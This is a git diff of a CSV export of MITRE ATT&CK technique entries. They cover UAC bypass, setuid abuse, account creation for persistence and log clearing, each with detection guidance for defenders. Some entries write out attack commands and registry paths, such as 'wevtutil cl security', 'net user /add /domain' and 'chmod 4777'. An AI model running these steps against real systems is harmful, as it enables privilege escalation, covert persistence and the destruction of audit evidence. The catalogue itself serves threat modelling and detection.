Github readme page for UACM * eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit) -Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073,attack-pattern,"['privilege-escalation', 'defense-evasion']",2020-07-22T21:36:52.458Z,2020-01-30T14:24:34.977Z,"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. +Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)","['privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1548/002,mitre-attack,T1548.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Stefan Kanthak', 'Casey Smith']","['Process: Process Metadata', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']",['Windows User Account Control'],"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: @@ -1912,23 +2124,23 @@ Some UAC bypass methods rely on modifying specific, user-accessible Registry set * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass) -Analysts should monitor these Registry settings for unauthorized changes.","['Process: Process Metadata', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']","['Stefan Kanthak', 'Casey Smith']",['Windows User Account Control'],"['Administrator', 'User']",['Windows'],,,,,,['Administrator'],,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1548.001', 'url': 'https://attack.mitre.org/techniques/T1548/001'}, {'url': 'http://man7.org/linux/man-pages/man2/setuid.2.html', 'description': ""Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018."", 'source_name': 'setuid man page'}, {'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'source_name': 'OSX Keydnap malware'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1548/001,mitre-attack,T1548.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Setuid and Setgid,"An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. +Analysts should monitor these Registry settings for unauthorized changes.",True,"['Administrator', 'User']",['Windows'],,,,,,['Administrator'],,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1548/001', 'external_id': 'T1548.001'}, {'source_name': 'setuid man page', 'description': ""Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018."", 'url': 'http://man7.org/linux/man-pages/man2/setuid.2.html'}, {'source_name': 'OSX Keydnap malware', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/'}]",1.0,attack-pattern,attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T14:11:41.212Z,2020-03-27T00:43:58.149Z,Setuid and Setgid,"An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an ""s"" instead of an ""x"" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. -Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).",attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9,attack-pattern,"['privilege-escalation', 'defense-evasion']",2020-03-27T00:43:58.149Z,2020-01-30T14:11:41.212Z,"Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.","['Command: Command Execution', 'File: File Metadata', 'File: File Modification']",,,['User'],"['Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1548', 'url': 'https://attack.mitre.org/techniques/T1548'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,False,https://attack.mitre.org/techniques/T1548,mitre-attack,T1548,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Abuse Elevation Control Mechanism,Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.,attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b,attack-pattern,"['privilege-escalation', 'defense-evasion']",2020-07-22T21:36:52.825Z,2020-01-30T13:58:14.373Z,"Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). +Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).","['privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1548/001,mitre-attack,T1548.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Metadata', 'File: File Modification']",,"Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.",True,['User'],"['Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1548', 'external_id': 'T1548'}]",1.0,attack-pattern,attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T13:58:14.373Z,2020-07-22T21:36:52.825Z,Abuse Elevation Control Mechanism,Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.,"['privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1548,mitre-attack,T1548,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Metadata', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Process: OS API Execution']",,"Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file. -There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.","['Process: Process Metadata', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Process: OS API Execution']",,,"['Administrator', 'User']","['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1136.003', 'url': 'https://attack.mitre.org/techniques/T1136/003'}, {'source_name': 'Microsoft O365 Admin Roles', 'url': 'https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide', 'description': 'Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.'}, {'source_name': 'Microsoft Support O365 Add Another Admin, October 2019', 'url': 'https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d', 'description': 'Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.'}, {'source_name': 'AWS Create IAM User', 'url': 'https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html', 'description': 'AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.'}, {'source_name': 'GCP Create Cloud Identity Users', 'url': 'https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554', 'description': 'Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.'}, {'source_name': 'Microsoft Azure AD Users', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory', 'description': 'Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.1,True,https://attack.mitre.org/techniques/T1136/003,mitre-attack,T1136.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Cloud Account,"Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users) +There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.",False,"['Administrator', 'User']","['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1136/003', 'external_id': 'T1136.003'}, {'source_name': 'Microsoft O365 Admin Roles', 'description': 'Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide'}, {'source_name': 'Microsoft Support O365 Add Another Admin, October 2019', 'description': 'Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.', 'url': 'https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d'}, {'source_name': 'AWS Create IAM User', 'description': 'AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.', 'url': 'https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html'}, {'source_name': 'GCP Create Cloud Identity Users', 'description': 'Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.', 'url': 'https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554'}, {'source_name': 'Microsoft Azure AD Users', 'description': 'Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory'}]",1.1,attack-pattern,attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-29T17:32:30.711Z,2021-03-16T12:47:00.192Z,Cloud Account,"Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users) -Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.",attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b,attack-pattern,['persistence'],2021-03-16T12:47:00.192Z,2020-01-29T17:32:30.711Z,Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.,['User Account: User Account Creation'],"['Praetorian', 'Microsoft Threat Intelligence Center (MSTIC)']",,['Administrator'],"['Azure AD', 'Office 365', 'IaaS', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1070.002', 'url': 'https://attack.mitre.org/techniques/T1070/002'}, {'source_name': 'Linux Logs', 'url': 'https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/', 'description': 'Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1070/002,mitre-attack,T1070.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Clear Linux or Mac System Logs,"Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs) +Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.",['persistence'],https://attack.mitre.org/techniques/T1136/003,mitre-attack,T1136.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Praetorian', 'Microsoft Threat Intelligence Center (MSTIC)']",['User Account: User Account Creation'],,Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.,True,['Administrator'],"['Azure AD', 'Office 365', 'IaaS', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/002', 'external_id': 'T1070.002'}, {'source_name': 'Linux Logs', 'description': 'Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.', 'url': 'https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/'}]",1.0,attack-pattern,attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-28T17:11:54.034Z,2020-03-29T21:23:51.886Z,Clear Linux or Mac System Logs,"Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs) * /var/log/messages:: General and system-related messages * /var/log/secure or /var/log/auth.log: Authentication logs @@ -1937,8 +2149,8 @@ Adversaries may create accounts that only have access to specific cloud services * /var/log/cron.log: Crond logs * /var/log/maillog: Mail server logs * /var/log/httpd/: Web server access and error logs -",attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36,attack-pattern,['defense-evasion'],2020-03-29T21:23:51.886Z,2020-01-28T17:11:54.034Z,File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.,"['File: File Deletion', 'File: File Modification', 'Command: Command Execution']",,,,"['Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1070.001', 'url': 'https://attack.mitre.org/techniques/T1070/001'}, {'url': 'https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil', 'description': 'Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.', 'source_name': 'Microsoft wevtutil Oct 2017'}, {'url': 'https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx', 'description': 'Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.', 'source_name': 'Microsoft EventLog.Clear'}, {'url': 'https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog', 'description': 'Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.', 'source_name': 'Microsoft Clear-EventLog'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1070/001,mitre-attack,T1070.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Clear Windows Event Logs,"Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit. +",['defense-evasion'],https://attack.mitre.org/techniques/T1070/002,mitre-attack,T1070.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Deletion', 'File: File Modification', 'Command: Command Execution']",,File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.,True,,"['Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/001', 'external_id': 'T1070.001'}, {'source_name': 'Microsoft wevtutil Oct 2017', 'description': 'Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.', 'url': 'https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil'}, {'source_name': 'Microsoft EventLog.Clear', 'description': 'Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.', 'url': 'https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx'}, {'source_name': 'Microsoft Clear-EventLog', 'description': 'Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.', 'url': 'https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog'}]",1.0,attack-pattern,attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-28T17:05:14.707Z,2020-03-29T21:17:03.732Z,Clear Windows Event Logs,"Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit. The event logs can be cleared with the following utility commands: @@ -1946,23 +2158,21 @@ The event logs can be cleared with the following utility commands: * wevtutil cl application * wevtutil cl security -These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).",attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2,attack-pattern,['defense-evasion'],2020-03-29T21:17:03.732Z,2020-01-28T17:05:14.707Z,"Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: ""The audit log was cleared"").","['Process: OS API Execution', 'Command: Command Execution']",,"['Anti Virus', 'Host Intrusion Prevention Systems', 'Log Analysis']",['Administrator'],['Windows'],,,,['Clearing the Windows event logs requires Administrator permissions'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1136.002', 'url': 'https://attack.mitre.org/techniques/T1136/002'}, {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1136/002,mitre-attack,T1136.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Account,"Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account. - -Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177,attack-pattern,['persistence'],2020-03-23T18:12:36.696Z,2020-01-28T14:05:17.825Z,"Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.","['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']",,,['Administrator'],"['Windows', 'macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1136.001', 'url': 'https://attack.mitre.org/techniques/T1136/001'}, {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1136/001,mitre-attack,T1136.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Local Account,"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. +These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).",['defense-evasion'],https://attack.mitre.org/techniques/T1070/001,mitre-attack,T1070.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']","['Anti Virus', 'Host Intrusion Prevention Systems', 'Log Analysis']","Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: ""The audit log was cleared"").",True,['Administrator'],['Windows'],,,,['Clearing the Windows event logs requires Administrator permissions'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1136/002', 'external_id': 'T1136.002'}, {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'}]",1.0,attack-pattern,attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-28T14:05:17.825Z,2020-03-23T18:12:36.696Z,Domain Account,"Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account. -Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",attack-pattern--635cbe30-392d-4e27-978e-66774357c762,attack-pattern,['persistence'],2020-03-23T18:04:20.780Z,2020-01-28T13:50:22.506Z,"Monitor for processes and command-line parameters associated with local account creation, such as net user /add or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.","['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']",,,['Administrator'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.011', 'url': 'https://attack.mitre.org/techniques/T1547/011'}, {'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'source_name': 'Sofacy Komplex Trojan'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'source_name': 'Methods of Mac Malware Persistence'}, {'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html', 'description': 'Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.', 'source_name': 'Adding Login Items'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', 'source_name': 'Malware Persistence on OS X'}, {'url': 'https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/', 'description': 'Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', 'source_name': 'OSX.Dok Malware'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1547/011,mitre-attack,T1547.011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Plist Modification,"Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). +Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",['persistence'],https://attack.mitre.org/techniques/T1136/002,mitre-attack,T1136.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an 